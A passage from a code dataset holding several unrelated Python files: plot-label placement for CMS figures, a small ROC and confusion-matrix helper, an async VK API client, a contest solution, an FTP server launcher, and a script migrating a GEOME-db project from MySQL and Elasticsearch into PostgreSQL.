cms_text_scale * 0.7 * pad_top_margin\n\n if cms_text_location == \"outside left\":\n\n cms_text_pos_x = cms_pos_x_scale * 1.0 * pad_left_margin\n cms_text_pos_y = 1 - cms_pos_y_scale * 0.40 * pad_top_margin\n cms_text_align = 13\n\n if cms_text_location == \"inside left\":\n\n cms_text_pos_x = cms_pos_x_scale * 1.20 * pad_left_margin\n cms_text_pos_y = 1 - cms_pos_y_scale * 1.50 * pad_top_margin\n cms_text_align = 13\n\n if cms_text_location == \"inside center\":\n\n cms_text_pos_x = cms_pos_x_scale * 3.70 * pad_left_margin\n cms_text_pos_y = 1 - cms_pos_y_scale * 1.50 * pad_top_margin\n cms_text_align = 23\n\n if cms_text_location == \"inside right\":\n\n cms_text_pos_x = cms_pos_x_scale * 6.20 * pad_left_margin\n cms_text_pos_y = 1 - cms_pos_y_scale * 1.50 * pad_top_margin\n cms_text_align = 33\n\n if draw_cms:\n latex.SetTextAlign(cms_text_align)\n latex.SetTextFont(cms_text_font)\n latex.SetTextSize(cms_text_size)\n latex.DrawLatex(cms_text_pos_x, cms_text_pos_y, cms_text)\n \n \n extra_text_font = 52\n extra_text_size = 0.5 * pad_top_margin\n\n if extra_text_location == \"outside left right\":\n\n extra_text_pos_x = extra_text_pos_x_scale * 1.60 * pad_left_margin\n extra_text_align = 13\n extra_text_pos_y = 1 - extra_text_pos_y_scale * 0.55 * pad_top_margin\n\n\n if \"inside left\" in extra_text_location:\n\n if \"below\" in extra_text_location:\n\n extra_text_pos_x = extra_text_pos_x_scale * 1.20 * pad_left_margin\n extra_text_align = 13\n extra_text_pos_y = 1 - extra_text_pos_y_scale * 2.10 * pad_top_margin\n\n if \"right\" in extra_text_location:\n\n extra_text_pos_x = extra_text_pos_x_scale * 1.80 * pad_left_margin\n extra_text_align = 13\n extra_text_pos_y = 1 - extra_text_pos_y_scale * 1.65 * pad_top_margin\n\n\n if extra_text_location == \"inside center below\":\n\n extra_text_pos_x = extra_text_pos_x_scale * 3.70 * pad_left_margin\n extra_text_align = 23\n extra_text_pos_y = 1 - extra_text_pos_y_scale * 2.10 * pad_top_margin\n\n\n if extra_text_location == \"inside right below\":\n\n extra_text_pos_x = extra_text_pos_x_scale * 6.20 * pad_left_margin\n extra_text_align = 33\n extra_text_pos_y = 1 - extra_text_pos_y_scale * 2.10 * pad_top_margin\n\n\n if extra_text_location == \"outside center\":\n\n extra_text_pos_x = extra_text_pos_x_scale * 3.70 * pad_left_margin\n extra_text_align = 23\n extra_text_pos_y = 1 - extra_text_pos_y_scale * 0.40 * pad_top_margin\n\n if draw_extra_text:\n latex.SetTextAlign(extra_text_align)\n latex.SetTextFont(extra_text_font)\n latex.SetTextSize(extra_text_size)\n latex.DrawLatex(extra_text_pos_x, extra_text_pos_y, extra_text)\n \n lumi_text_font = 42\n lumi_text_size = 0.7 * pad_top_margin\n lumi_text_align = 31\n\n lumi_text_pos_x = lumi_text_pos_x_scale * 6.4 * pad_left_margin\n lumi_text_pos_y = 1 - lumi_text_pos_y_scale * 0.8 * pad_top_margin\n \n if draw_lumi_text:\n latex.SetTextAlign(lumi_text_align)\n latex.SetTextFont(lumi_text_font)\n latex.SetTextSize(lumi_text_size)\n latex.DrawLatex(lumi_text_pos_x, lumi_text_pos_y, lumi_text)\n \n return latex\n","repo_name":"singh-ramanpreet/pyroot_cms_scripts","sub_path":"pyroot_cms_scripts/CMS_text.py","file_name":"CMS_text.py","file_ext":"py","file_size_in_byte":6217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22452385128","text":"from sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import auc\nfrom sklearn import metrics\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass Machine:\n def __init__(self, array_image):\n self.array_image = array_image\n self.array_l = [] # array of label\n self.array_p = [] # array of prediction\n\n def array_label(self):\n latter = \"S\"\n for word in self.array_image:\n if latter in word:\n self.array_l.append(\"sick\")\n else:\n self.array_l.append(\"healthy\")\n\n def array_predict(self, value_model):\n i = 0\n num_of_hotpoint = [7, 9, 20]\n for word in self.array_image:\n # num_of_hotpoint = 11 # \"num_hotpoint\": we need to write function that return for all picture how much point black\n if num_of_hotpoint[\n i] > value_model: # I predict that if there are more than value_model hot spots then the person is sick - positive\n i += 1\n self.array_p.append(\"sick\")\n else:\n self.array_p.append(\"healthy\")\n\n def conf_matrix(self):\n print(self.array_l, self.array_p)\n tn, fp, fn, tp = confusion_matrix(self.array_l, self.array_p, labels=[\"sick\", \"healthy\"]).ravel()\n print(tn, fp, fn, tp)\n score = np.array([0.3, 0.2, 0.4])\n fpr, tpr, threshold = metrics.roc_curve(self.array_l, score, pos_label=\"sick\")\n print(fpr, tpr, threshold)\n auc(fpr, tpr)\n plt.figure()\n plt.plot(fpr, tpr, color='r')\n plt.plot(fpr, tpr, 'bo') # Highlights the dots in blue\n plt.xlabel(\"---\")\n plt.ylabel(\"---\")\n plt.show()\n # def div_train_test(self):\n # x_train,x_test,y_train,y_test=train_test_split(x,y,test_size=0.33,random_state=42)","repo_name":"YehuditBenZeev/Thermanostics","sub_path":"machine_learning/machin_learning.py","file_name":"machin_learning.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1299610478","text":"import aiohttp\nimport logging\nfrom vk.errors import *\nimport time\nimport json\n\nclass VKAPI:\n VERSION = '5.103'\n ENDPOINT = 'https://api.vk.com/method/'\n\n async def __aenter__(self):\n self.session = aiohttp.ClientSession()\n return self\n\n def __init__(self, tokens=None, token_fail_hook=None, max_retries=5):\n self.session = None\n self.tokens = tokens\n self.token_fail_hook = token_fail_hook\n self.token_pos = 0\n self.max_retries = max_retries\n\n def load_tokens(self, tokens):\n self.tokens = tokens\n\n def switch_token(self):\n if self.token_pos + 1 >= len(self.tokens):\n self.token_pos = 0\n else:\n self.token_pos += 1\n\n def token_fail(self, error_code):\n failed_token = self.tokens[self.token_pos]\n del self.tokens[self.token_pos]\n if self.token_fail_hook:\n self.token_fail_hook(failed_token, error_code)\n\n def set_default_request_params(self, params):\n # Если токены не были предоставлены, то ждём, пока это произойдёт.\n if not self.tokens:\n logging.info('Ожидание токенов...')\n while not self.tokens:\n pass\n try:\n params['access_token'] = self.tokens[self.token_pos]\n except IndexError:\n self.token_pos = 0\n params['v'] = VKAPI.VERSION\n\n @staticmethod\n def process_json_params(params):\n for key, value in params.items():\n if type(value) is dict:\n params[key] = json.dumps(value, ensure_ascii=False)\n async def request(self, request_method, vk_method, custom_url=None, retry=0, **params):\n self.set_default_request_params(params)\n self.process_json_params(params)\n args = dict(method=request_method,\n url=custom_url if custom_url else VKAPI.ENDPOINT + vk_method,\n params=params if request_method == 'get' else None,\n data=params if request_method == 'post' else None)\n\n async with self.session.request(**args) as r:\n if r.status == 200:\n json_r = await r.json()\n error = json_r.get('error')\n response = json_r.get('response')\n ts = json_r.get('ts')\n if error:\n error_code = error['error_code']\n if error_code in (6, 10):\n if not retry:\n logging.info('retrying ' + str(error))\n self.switch_token()\n return await self.request(request_method, vk_method, retry=retry + 1, **params)\n elif error_code in (5, 29):\n self.token_fail(error_code)\n return await self.request(request_method, vk_method, retry=retry + 1, **params)\n else:\n raise VKError(error)\n elif response:\n return response\n elif ts:\n return json_r\n else:\n print(r.status)\n\n async def get(self, method=None, **params):\n return await self.request('get', method, **params)\n\n async def post(self, method=None, **params):\n return await self.request('post', method, **params)\n\n async def execute(self, code):\n return await self.post('execute', code=code)\n\n async def __aexit__(self, exc_type, exc_val, exc_tb):\n await self.session.close()\n\n async def reply_text(self, text, message, **kwargs):\n return await self.post('messages.send',\n user_id=message['from_id'],\n random_id=int(time.time() * 10000000),\n message=text,\n **kwargs)\n\n","repo_name":"diprog/creative_party","sub_path":"vk/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41253766384","text":"# -*- coding: utf-8 -*-\n\n\ndef main():\n import sys\n\n input = sys.stdin.readline\n\n v, a, b, c = map(int, input().split())\n v %= (a + b + c)\n\n if v - a < 0:\n print(\"F\")\n elif v - (a + b) < 0:\n print(\"M\")\n else:\n print(\"T\")\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"KATO-Hiro/AtCoder","sub_path":"ABC/abc201-abc250/abc243/a/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"20311815024","text":"import os,sys\n\nBase_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(Base_dir)\n#print(Base_dir)\n\n\nif __name__ == \"__main__\":\n from core import management\n #print(\"start\")\n #argv_parser = management.ManagementTool(sys.argv)\n #print(sys.argv)\n argv_parser = management.ManagementTool(['',\"start\"])\n argv_parser.verify_argv()","repo_name":"litaolemo/ftp_server","sub_path":"servers/server/main_server.py","file_name":"main_server.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24499294988","text":"#!/usr/bin/python\n\"\"\"\nbackup your db before running this script\n\"\"\"\n\nimport psycopg2\nfrom mysql import connector\nimport sys, argparse, requests, json, tempfile, os, csv, io, re\nfrom elasticsearch import Elasticsearch\n\n# ENDPOINT = 'https://api.develop.geome-db.org/'\n# BCID_URL = 'https://develop.bcid.biocode-fims.org'\n# ES_ENDPOINT = 'http://esr.biocodellc.com:80/'\nENDPOINT = 'http://localhost:8080/'\nBCID_URL = 'http://localhost:8080/bcid'\nES_ENDPOINT = 'https://localhost:9200'\n\nENTITY_MAPPING = {\n 'Resource': 'Sample'\n}\n\nCOLUMN_MAPPING = {\n 'Samples': {},\n 'fastaSequence': {},\n 'fastqMetadata': {},\n}\n\nVALUE_MAPPINGS = {\n 'Samples': {\n 'country': {\n 'United States of America': 'USA',\n 'Cocos (Keeling) Islands': 'Cocos Islands',\n \"Timor L'este\": 'East Timor',\n 'Brunei Darussalam': 'Brunei'\n },\n 'yearCollected': {\n '': 'Unknown',\n '-': 'Unknown',\n '?': 'Unknown'\n }\n }\n}\n\nEXCLUDE_EXPEDITIONS = []\n\n\nMONTH_MAP = {\n 'january': 1,\n 'february': 2,\n 'march': 3,\n 'april': 4,\n 'may': 5,\n 'june': 6,\n 'july': 7,\n 'august': 8,\n 'september': 9,\n 'october': 10,\n 'november': 11,\n 'december': 12\n}\n\nEXPEDITION_RESOURCE_TYPE = \"http://purl.org/dc/dcmitype/Collection\"\nWORKING_DIR = \"output\"\n\nheaders = {\n 'Content-Type': 'application/json',\n 'Accept': 'application/json'\n}\n\nexpedition_data = {}\nconfig = {}\n\ndef migrate_project(psql, mysql, old_project_id, access_token, entities, client_id, client_secret,\n config_file=None, accept_warnings=False):\n project = get_project_data(mysql, old_project_id, entities)\n\n tmp_user_id = get_tmp_user_id(psql, access_token)\n project['tmp_user_id'] = tmp_user_id\n\n project['id'] = get_project_id(psql, project)\n project_existed = project['id'] is not None\n\n disable_triggers(psql)\n try:\n create_or_update_project(psql, project)\n\n project['config'] = get_project_config(psql, project)\n if not project_existed or project['config'] == {}:\n if not config_file or not os.path.exists(config_file):\n raise Exception(\n 'Project config does not exist and no config_file was provided, or the file does not exists')\n\n update_config(project['id'], access_token, config_file)\n project['config'] = get_project_config(psql, project)\n elif config_file and os.path.exists(config_file):\n update_project_user(psql, project['id'], tmp_user_id)\n update_config(project['id'], access_token, config_file)\n project['config'] = get_project_config(psql, project)\n\n set_user_projects(psql, project)\n create_project_expeditions(psql, project, client_id, client_secret)\n\n uri_mapping = get_uri_mapping(project)\n\n data = {}\n for expedition in project['expeditions']:\n data[expedition['expedition_code']] = fetch_expedition_data(old_project_id, expedition['expedition_code'], uri_mapping)\n\n for expedition in project['expeditions']:\n if expedition['expedition_code'] in EXCLUDE_EXPEDITIONS:\n print('SKIPPING EXPEDITION:', expedition['expedition_code'])\n else:\n migrate(psql, project['id'], expedition, access_token, data[expedition['expedition_code']], project['config'], accept_warnings)\n\n update_project_and_expedition_users(psql, project)\n except BaseException as e:\n enable_triggers(psql)\n raise e\n\n\ndef disable_triggers(psql):\n cursor = psql.cursor()\n query = \"\"\"\n ALTER TABLE projects DISABLE TRIGGER set_projects_createdtime;\n ALTER TABLE projects DISABLE TRIGGER config_history;\n ALTER TABLE expeditions DISABLE TRIGGER set_expeditions_createdtime;\n \"\"\"\n cursor.execute(query)\n psql.commit()\n cursor.close()\n\n\ndef enable_triggers(psql):\n cursor = psql.cursor()\n query = \"\"\"\n ALTER TABLE projects ENABLE TRIGGER set_projects_createdtime;\n ALTER TABLE projects ENABLE TRIGGER config_history;\n ALTER TABLE expeditions ENABLE TRIGGER set_expeditions_createdtime;\n \"\"\"\n cursor.execute(query)\n psql.commit()\n cursor.close()\n\n\ndef get_tmp_user_id(psql, access_token):\n cursor = psql.cursor()\n query = \"SELECT user_id FROM oauth_tokens WHERE token = %s\"\n cursor.execute(query, [access_token])\n result = cursor.fetchone()\n\n if not result:\n raise Exception(\"Invalid access_token\")\n\n cursor.close()\n return result[0]\n\n\ndef get_project_data(mysql, project_id, entities):\n cursor = mysql.cursor()\n query = (\n \"SELECT projectCode, projectTitle, validationXml, userId, public FROM projects WHERE projectId = %s\"\n )\n cursor.execute(query, (project_id,))\n\n project = None\n\n for (projectCode, projectTitle, validationXml, userId, public) in cursor:\n project = {\n 'project_code': projectCode,\n 'project_title': projectTitle,\n 'validationXml': validationXml,\n 'user_id': userId,\n 'public': public\n }\n\n cursor.close()\n if project is None:\n raise Exception('Failed to find project with id:' + project_id)\n\n project['users'] = get_project_users(mysql, project_id)\n project['expeditions'] = get_project_expeditions(mysql, project_id, entities)\n return project\n\n\ndef get_project_users(mysql, project_id):\n cursor = mysql.cursor()\n query = (\n \"SELECT u.userId AS userId, username, password, email, institution, firstName, lastName FROM userProjects p JOIN users u ON p.userId = u.userId WHERE projectId = %s \\\n UNION \\\n SELECT u.userId AS userId, username, password, email, institution, firstName, lastName FROM projects p JOIN users u ON p.userId = u.userId WHERE projectId = %s\")\n cursor.execute(query, (project_id, project_id,))\n\n users = []\n for (userId, username, password, email, institution, firstName, lastName) in cursor:\n users.append({\n 'id': userId,\n 'username': username,\n 'password': password,\n 'email': email,\n 'institution': institution,\n 'first_name': firstName,\n 'last_name': lastName\n })\n\n cursor.close()\n return users\n\n\nfoundEntityIdentifier = {}\n\n\ndef get_project_expeditions(mysql, project_id, entities):\n cursor = mysql.cursor()\n query = (\n \"SELECT e.expeditionId, e.expeditionCode, e.expeditionTitle, e.userId, e.ts, e.public, b.identifier, u.firstName, u.lastName, u.email \\\n FROM expeditions e \\\n JOIN users u ON u.userId = e.userId \\\n LEFT JOIN expeditionBcids eb ON e.expeditionId = eb.expeditionId \\\n LEFT JOIN bcids b ON eb.bcidId = b.bcidId \\\n WHERE b.resourceType = %s AND e.projectId = %s\")\n cursor.execute(query, (EXPEDITION_RESOURCE_TYPE, project_id,))\n\n expeditions = []\n for (expeditionId, expeditionCode, expeditionTitle, userId, ts, public, identifier, first_name, last_name,\n email) in cursor:\n expeditions.append({\n 'id': expeditionId,\n 'expedition_code': expeditionCode,\n 'expedition_title': expeditionTitle,\n 'user_id': userId,\n 'modified': ts,\n 'public': public,\n 'user': {\n 'first_name': first_name,\n 'last_name': last_name,\n 'email': email\n },\n 'identifier': identifier,\n 'entity_identifiers': get_entity_identifiers(mysql, expeditionId, entities)\n })\n\n for entity in entities:\n if entity not in foundEntityIdentifier or not foundEntityIdentifier[entity]:\n raise Exception(\n 'Failed to locate a single entity bcid for entity: \"' + entity + '\". Are you sure you spelled the conceptAlias correctly'\n )\n\n cursor.close()\n return expeditions\n\n\ndef get_entity_identifiers(mysql, expedition_id, entities):\n cursor = mysql.cursor()\n query = (\n \"SELECT b.title, b.identifier FROM bcids b JOIN expeditionBcids eb ON b.bcidId = eb.bcidId WHERE eb.expeditionId = %s AND b.title IN ( {} )\".format(\"'\" + \"', '\".join(entities) + \"'\")\n )\n cursor.execute(query, (expedition_id,))\n\n entity_identifiers = []\n for (conceptAlias, identifier) in cursor:\n foundEntityIdentifier[conceptAlias] = True\n entity_identifiers.append({\n 'concept_alias': conceptAlias,\n 'identifier': identifier\n })\n\n cursor.close()\n return entity_identifiers\n\n\ndef get_project_id(psql, project):\n cursor = psql.cursor()\n query = 'SELECT id FROM projects WHERE project_code = %s'\n cursor.execute(query, [project['project_code']])\n res = cursor.fetchone()\n cursor.close()\n return res[0] if res is not None else None\n\n\ndef get_project_config(psql, project):\n cursor = psql.cursor()\n query = 'SELECT config FROM projects WHERE id = %s'\n cursor.execute(query, [project['id']])\n res = cursor.fetchone()\n cursor.close()\n print(type(res[0]))\n return res[0]\n\n\ndef create_or_update_project(psql, project):\n create_project_users(psql, project)\n cursor = psql.cursor()\n if not project['id']:\n sql = \"INSERT INTO projects (project_code, project_title, config, user_id, public) VALUES (%s, %s, '{}', %s, %s);\"\n cursor.execute(sql,\n [project['project_code'], project['project_title'], project['tmp_user_id'],\n True if project['public'] == 1 else False])\n psql.commit()\n project['id'] = get_project_id(psql, project)\n sql = \"\"\"\n CREATE SCHEMA project_{};\n\n CREATE TABLE project_{}.audit_table\n (\n event_id bigserial primary key,\n table_name text not null, -- table the change was made to\n user_name text, -- user who made the change\n ts TIMESTAMP WITH TIME ZONE NOT NULL, -- timestamp the change happened\n action TEXT NOT NULL CHECK (action IN ('I','D','U', 'T')), -- INSERT, DELETE, UPDATE, or TRUNCATE\n row_data jsonb, -- For INSERT this is the new row values. For DELETE and UPDATE it is the old row values.\n changed_fields jsonb -- Null except UPDATE events. This is the result of jsonb_diff_val(NEW data, OLD data)\n );\n \"\"\".format(project['id'], project['id'])\n cursor.execute(sql)\n psql.commit()\n\n\ndef create_project_users(psql, project):\n cursor = psql.cursor()\n sql = \"INSERT INTO users (id, username, password, has_set_password, email, institution, first_name, last_name) VALUES \"\n params = []\n\n for user in project['users']:\n sql = sql + \"(%s, %s, %s, %s, %s, %s, %s, %s), \"\n params.extend([user['id'], user['username'], user['password'], True if user['has_set_password'] == 1 else False,\n user['email'],\n user['institution'], user['first_name'], user['last_name']])\n\n sql = sql[:-2] + \" ON CONFLICT (id) DO NOTHING\"\n cursor.execute(sql, params)\n psql.commit()\n cursor.close()\n\n\ndef set_user_projects(psql, project):\n cursor = psql.cursor()\n sql = \"INSERT INTO user_projects (user_id, project_id) VALUES \"\n params = []\n\n for user in project['users']:\n sql = sql + \"(%s, %s), \"\n params.extend([user['id'], project['id']])\n\n sql = sql[:-2] + \" ON CONFLICT (user_id, project_id) DO NOTHING\"\n cursor.execute(sql, params)\n psql.commit()\n cursor.close()\n\n\ndef create_project_expeditions(psql, project, client_id, client_secret):\n cursor = psql.cursor()\n sql = \"INSERT INTO expeditions (id, project_id, expedition_code, expedition_title, identifier, visibility, user_id, modified, public) VALUES \"\n params = []\n\n for expedition in project['expeditions']:\n sql = sql + \"(%s, %s, %s, %s, %s, %s, %s, %s, %s), \"\n params.extend([\n expedition['id'],\n project['id'],\n expedition['expedition_code'],\n re.sub(' spreadsheet$', '', expedition['expedition_title']),\n expedition['identifier'],\n 'ANYONE' if expedition['public'] else 'EXPEDITION',\n project['tmp_user_id'],\n expedition['modified'],\n True if expedition['public'] == 1 else False\n ])\n\n sql = sql[:-2] + \" ON CONFLICT (id) DO UPDATE SET user_id = {}\".format(project['tmp_user_id'])\n cursor.execute(sql, params)\n psql.commit()\n cursor.close()\n\n create_entity_identifiers(psql, project, client_id, client_secret)\n\n\ndef create_entity_identifiers(psql, project, client_id, client_secret):\n cursor = psql.cursor()\n sql = \"INSERT INTO entity_identifiers (expedition_id, concept_alias, identifier) VALUES \"\n params = []\n\n to_create = []\n print(\"Missing entity identifiers that need to be created:\\n\\nexpedition_id\\tconcept_alias\")\n for expedition in project['expeditions']:\n created = []\n for identifier in expedition['entity_identifiers']:\n sql = sql + \"(%s, %s, %s), \"\n alias = identifier['concept_alias']\n alias = ENTITY_MAPPING[alias] if alias in ENTITY_MAPPING else alias\n identifier['concept_alias'] = alias\n created.append(alias)\n params.extend([\n expedition['id'],\n alias,\n identifier['identifier']\n ])\n\n for entity in project['config']['entities']:\n if entity['conceptAlias'] not in created and not entity_identifier_exists(psql, expedition['id'], entity['conceptAlias']):\n print(\"{}\\t{}\".format(expedition['id'], entity['conceptAlias']))\n to_create.append({'entity': entity, 'expedition_id': expedition['id'], 'user': expedition['user']})\n print(\"\\n\\n\")\n\n sql = sql[:-2] + \" ON CONFLICT (expedition_id, concept_alias) DO NOTHING\"\n cursor.execute(sql, params)\n psql.commit()\n\n if len(to_create) > 0:\n create = input(\n 'Would you like to mint the above identifiers? You will need to mint the identifiers at a later date if not. y/n: ').lower()\n if create == 'y':\n if not client_id or not client_secret:\n raise Exception(\"Both bcid_client_id and bcid_client_secret are required to mint bcids\")\n access_token = authenticate_bcid(client_id, client_secret)\n\n for i in to_create:\n bcid = mint_bcid(access_token, i['entity'], i['user'])\n sql = \"INSERT INTO entity_identifiers (expedition_id, concept_alias, identifier) VALUES (%s, %s, %s)\"\n cursor.execute(sql, [i['expedition_id'], i['entity']['conceptAlias'], bcid['identifier']])\n psql.commit()\n\n cursor.close()\n\n\ndef entity_identifier_exists(psql, expedition_id, conceptAlias):\n cursor = psql.cursor()\n cursor.execute(\"SELECT count(*) FROM entity_identifiers WHERE concept_alias = %s AND expedition_id = %s\",\n [conceptAlias, expedition_id])\n res = cursor.fetchone()\n cursor.close()\n return True if res is not None and res[0] in [True, 1] else False\n\n\ndef authenticate_bcid(client_id, client_secret):\n h = dict(headers)\n h['Content-Type'] = None\n r = requests.post(\"{}/oAuth2/token\".format(BCID_URL),\n data={'grant_type': 'client_credentials', 'client_id': client_id, 'client_secret': client_secret},\n headers=h)\n r.raise_for_status()\n return r.json()['access_token']\n\n\ndef mint_bcid(access_token, entity, user):\n bcid = {\n 'publisher': 'GeOMe-db FIMS',\n 'resourceType': entity['conceptURI'],\n 'title': entity['conceptAlias'],\n 'webAddress': 'https://ezid.cdlib.org/id/%7Bark%7D',\n 'ezidRequest': True\n }\n\n creator = user['first_name']\n if creator != '' and user['last_name']:\n creator += \" {}\".format(user['last_name'])\n if user['email']:\n creator += \" <{}>\".format(user['email'])\n elif user['email']:\n creator += \"{}\".format(user['email'])\n else:\n creator = \"\"\n bcid['creator'] = creator\n\n h = dict(headers)\n h['Authorization'] = \"Bearer {}\".format(access_token)\n r = requests.post(\"{}/\".format(BCID_URL), json=bcid, headers=h)\n if r.status_code != requests.codes.ok:\n print(r.text)\n r.raise_for_status()\n return r.json()\n\n\ndef update_project_and_expedition_users(psql, project):\n update_project_user(psql, project['id'], project['user_id'])\n\n cursor = psql.cursor()\n for expedition in project['expeditions']:\n sql = \"UPDATE expeditions SET user_id = %s WHERE id = %s\"\n cursor.execute(sql, [expedition['user_id'], expedition['id']])\n psql.commit()\n cursor.close()\n\n\ndef update_project_user(psql, project_id, user_id):\n cursor = psql.cursor()\n sql = \"UPDATE projects SET user_id = %s WHERE id = %s\"\n cursor.execute(sql, [user_id, project_id])\n psql.commit()\n cursor.close()\n\n\ndef update_config(project_id, access_token, config_file):\n print(\"Updating project config\")\n url = \"{}projects/{}/config?access_token={}\".format(ENDPOINT, project_id, access_token)\n\n with open(config_file) as f:\n config = json.load(f)\n response = requests.put(url, json=config)\n if response.status_code != requests.codes.ok:\n print(response.text)\n response.raise_for_status()\n\n\ndef get_uri_mapping(project):\n uri_mapping = {}\n for entity in project['config']['entities']:\n for attribute in entity['attributes']:\n uri_mapping[attribute['uri']] = attribute['column']\n return uri_mapping\n\n\ndef fetch_expedition_data(project_id, expeditionCode, uri_mapping):\n def get_cached_samples():\n file = os.path.join(WORKING_DIR, project_id, expeditionCode + \"_sample.csv\")\n if os.path.exists(file):\n with open(file, 'r') as f:\n reader = csv.DictReader(f)\n return [row for row in reader]\n\n if project_id == '25' or project_id == 25:\n data = {'sample': get_cached_samples()}\n # check for fasta\n file = os.path.join(WORKING_DIR, project_id, expeditionCode + \"_fasta.csv\")\n if os.path.exists(file):\n with open(file, 'r') as f:\n reader = csv.DictReader(f)\n data['fasta'] = [row for row in reader]\n # check for fastq\n file = os.path.join(WORKING_DIR, project_id, expeditionCode + \"_fastq.csv\")\n if os.path.exists(file):\n with open(file, 'r') as f:\n reader = csv.DictReader(f)\n data['fastq'] = [row for row in reader]\n if data['sample'] != None and len(data['sample']) > 0:\n print('Using existing data in output dir for expedition: ', expeditionCode)\n return data\n else:\n data = get_cached_samples()\n if data:\n print('Using existing data in output dir for expedition: ', expeditionCode)\n return {'sample': data}\n\n print('Fetching data for expedition: ', expeditionCode)\n es = Elasticsearch(ES_ENDPOINT)\n query = {\n \"query\": {\n \"term\": {\n \"expedition.expeditionCode.keyword\": expeditionCode\n }\n }\n }\n\n entity_data = {'sample': []}\n res = es.search(index=project_id, doc_type=\"resource\", body=query, size=10000)\n if res['hits']['total'] >= 10000:\n print(\"More then 10k records. Need to fix this script and paginate response\")\n for doc in res['hits']['hits']:\n data = doc['_source']\n\n data['urn:materialSampleID'] = data['urn:materialSampleID'].replace('-', '_')\n if 'fastaSequence' in data:\n if 'fasta' not in entity_data:\n entity_data['fasta'] = []\n for d in data['fastaSequence']:\n entity_data['fasta'].append({\n 'marker': d['urn:marker'],\n 'sequence': d['urn:sequence'],\n 'urn:materialSampleID': data['urn:materialSampleID'],\n })\n del data['fastaSequence']\n if 'fastqMetadata' in data:\n if 'fastq' not in entity_data:\n entity_data['fastq'] = []\n data['fastqMetadata']['urn:materialSampleID'] = data['urn:materialSampleID']\n entity_data['fastq'].append(data['fastqMetadata'])\n del data['fastqMetadata']\n\n # TODO what about > 10k results\n del data['expedition.expeditionCode']\n del data['bcid']\n entity_data['sample'].append(data)\n\n def write_file(data, file):\n directory = os.path.dirname(file)\n if not os.path.exists(directory):\n os.makedirs(directory)\n with open(file, 'w') as f:\n columns = [x for row in data for x in row.keys()]\n columns = list(set(columns))\n\n csv_w = csv.writer(f)\n csv_w.writerow(columns)\n\n for i_r in data:\n csv_w.writerow(map(lambda x: i_r.get(x, \"\"), columns))\n\n if 'sample' in entity_data:\n file = os.path.join(WORKING_DIR, project_id, expeditionCode + \"_sample.csv\")\n entity_data['sample'] = transform_data(entity_data['sample'], uri_mapping)\n write_file(entity_data['sample'], file)\n if 'fasta' in entity_data:\n file = os.path.join(WORKING_DIR, project_id, expeditionCode + \"_fasta.csv\")\n d = entity_data['fasta']\n write_file(d, file)\n if 'fastq' in entity_data:\n file = os.path.join(WORKING_DIR, project_id, expeditionCode + \"_fastq.csv\")\n write_file(entity_data['fastq'], file)\n\n return entity_data\n\n\ndef transform_data(data, uri_mapping):\n transformed = []\n\n for d in data:\n t = {}\n for key in d.keys():\n if key == 'urn:yearCollected' and d[key] == '2005-2007':\n t[uri_mapping[key]] = '2006'\n t['eventRemarks'] = \"verbatimYear = {}\".format(d[key])\n elif key in uri_mapping:\n t[uri_mapping[key]] = d[key]\n else:\n t[key] = d[key]\n transformed.append(t)\n\n return transformed\n\n\ndef migrate(psql, project_id, expedition, access_token, old_data, config, accept_warnings):\n code = expedition['expedition_code']\n print('Migrating data for expedition: ', code)\n\n transformed_data = data_to_worksheets(old_data, config)\n\n validate_url = \"{}data/validate?access_token={}\".format(ENDPOINT, access_token)\n\n data = {\n 'projectId': project_id,\n 'expeditionCode': code,\n 'upload': True,\n }\n\n files = []\n metadata = []\n\n for sheet in transformed_data.keys():\n if sheet not in ['fastaSequence', 'fastqMetadata']:\n files.append(\n ('dataSourceFiles', (\"{}.csv\".format(sheet), data_to_filelike_csv(transformed_data[sheet]), 'text/plain'))\n )\n metadata.append(\n {\n \"dataType\": 'TABULAR',\n \"filename\": \"{}.csv\".format(sheet),\n \"metadata\": {\n \"sheetName\": sheet\n },\n \"reload\": True\n }\n )\n\n files.append(('dataSourceMetadata', (None, json.dumps(metadata), 'application/json')))\n\n h = dict(headers)\n h['Content-Type'] = None\n r = requests.post(validate_url, data=data, files=files, headers=h)\n if r.status_code >= 400:\n try:\n print('\\nERROR: ' + r.json().get('usrMessage'))\n except ValueError:\n print('\\nERROR: ' + r.text)\n print('\\n')\n r.raise_for_status()\n\n response = r.json()\n\n def print_messages(groupMessage, messages):\n print(\"\\t{}:\\n\".format(groupMessage))\n\n for message in messages:\n print(\"\\t\\t\" + message.get('message'))\n\n print('\\n')\n\n for entityResults in response.get('messages'):\n if len(entityResults.get('errors')) > 0:\n print(\"\\n\\n{} found on worksheet: \\\"{}\\\" for entity: \\\"{}\\\"\\n\\n\".format('Errors', entityResults.get('sheetName'),\n entityResults.get('entity')))\n\n for group in entityResults.get('errors'):\n print_messages(group.get('groupMessage'), group.get('messages'))\n\n if len(entityResults.get('warnings')) > 0:\n print(\"\\n\\n{} found on worksheet: \\\"{}\\\" for entity: \\\"{}\\\"\\n\\n\".format('Warnings', entityResults.get('sheetName'),\n entityResults.get('entity')))\n\n for group in entityResults.get('warnings'):\n print_messages(group.get('groupMessage'), group.get('messages'))\n\n if response.get('hasError'):\n print(\"Validation error(s) attempting to upload expedition: {}\".format(code))\n sys.exit()\n elif not response.get('isValid') and not accept_warnings:\n cont = input(\"Warnings found during validation. Would you like to continue? (y/n) \")\n if cont.lower() != 'y':\n sys.exit()\n\n upload_url = response.get('uploadUrl') + '?access_token=' + access_token\n r = requests.put(upload_url, headers=headers)\n if r.status_code >= 400:\n print('\\nERROR: ' + r.json().get('usrMessage'))\n 